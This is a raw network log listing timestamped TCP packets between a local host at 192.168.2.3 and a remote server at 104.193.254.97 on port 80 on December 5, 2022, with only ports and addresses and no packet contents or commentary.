Dec 5, 2022 06:44:44.334209919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334239006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334268093 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.334280968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334323883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334352970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334378958 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.334393024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334435940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334466934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334494114 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.334506989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334548950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334563017 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.334580898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334619999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334661007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334688902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334713936 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.334731102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334773064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334784031 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.334803104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334842920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.335153103 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.497128963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497205019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497241974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497284889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497327089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497353077 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.497359991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497402906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497421026 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.497443914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497473955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497505903 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.497515917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497556925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497586966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497620106 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.497627974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497672081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497700930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497734070 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.497742891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497786045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497814894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497843027 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.497855902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497898102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497926950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.497951984 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.497970104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.498013020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.498040915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.498069048 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.498708010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.498752117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.498781919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.498822927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.498825073 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.498866081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.498929977 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.498930931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.498971939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499016047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499043941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499084949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499109030 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.499126911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499161005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499207020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499214888 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.499249935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499279022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499306917 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.499320984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499362946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499392033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499433994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499445915 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.499475956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499506950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499547005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499557972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.499588013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499618053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499672890 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.499757051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499800920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499842882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499871969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499900103 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.499913931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499954939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.499985933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500015020 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.500029087 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500072002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500101089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500128031 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.500145912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500186920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500201941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.500217915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500258923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500302076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500333071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500358105 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.500372887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500415087 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500444889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500472069 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.500483990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500524998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500554085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500581980 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.500597000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500639915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500653028 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.500669956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.500710964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.501184940 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.662739038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.662806034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.662841082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.662909985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.662955046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.662965059 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.662985086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663028002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663048029 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.663072109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663105011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663146973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663156986 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.663192034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663223028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663248062 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.663265944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663307905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663336992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663379908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663394928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.663420916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663451910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663480997 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.663492918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663536072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663563967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663605928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663624048 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.663647890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663680077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663721085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663733959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.663764954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663795948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663836002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.663849115 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.663968086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664002895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664043903 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664051056 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.664087057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664115906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664148092 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.664161921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664206028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664233923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664263964 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.664275885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664316893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664346933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664375067 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.664388895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664429903 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664458990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664489985 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.664500952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664541960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664571047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664594889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.664611101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664652109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664683104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664721966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664736986 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.664763927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664804935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664833069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664859056 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.664875031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664916992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664933920 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.664947033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.664992094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665033102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665066004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665108919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665128946 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.665150881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665186882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665227890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665271044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665301085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665342093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665383101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665411949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665415049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.665415049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.665415049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.665452003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665493011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665522099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665548086 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.665564060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665606022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665617943 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.665636063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.665678024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.666363001 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.828712940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.828779936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.828814983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.828856945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.828898907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.828907967 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.828936100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.828979969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.828998089 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.829021931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829051971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829082012 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.829092026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829133987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829164982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829196930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.829206944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829252005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829282045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829323053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829341888 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.829365969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829396963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829440117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829440117 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.829483986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829514980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829555035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829566002 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.829613924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829644918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829684019 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.829693079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829742908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829772949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829817057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829849958 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.829860926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829893112 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829933882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.829946995 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.829976082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830005884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830046892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830063105 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.830087900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830116987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830157042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830176115 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.830199003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830229044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830270052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830284119 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.830312967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830344915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830384970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830398083 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.830426931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830456972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830498934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830509901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.830542088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830571890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830625057 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.830626011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830670118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830710888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830739975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830770969 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.830780983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830823898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.830841064 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.830853939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831028938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831070900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831099987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831139088 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.831140995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831185102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831216097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831239939 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.831258059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831300020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831316948 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.831331015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831372976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831413984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831446886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831475019 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.831489086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831532001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831547022 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.831562996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831604958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831661940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831680059 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.831691980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831733942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831779003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831789970 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.831828117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831923008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831968069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.831979036 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.832000017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832041979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832083941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832113028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832148075 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.832154989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832201958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832216024 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.832232952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832274914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832315922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832359076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832372904 CET	49705	80	192.168.2.3	104.193.254.97
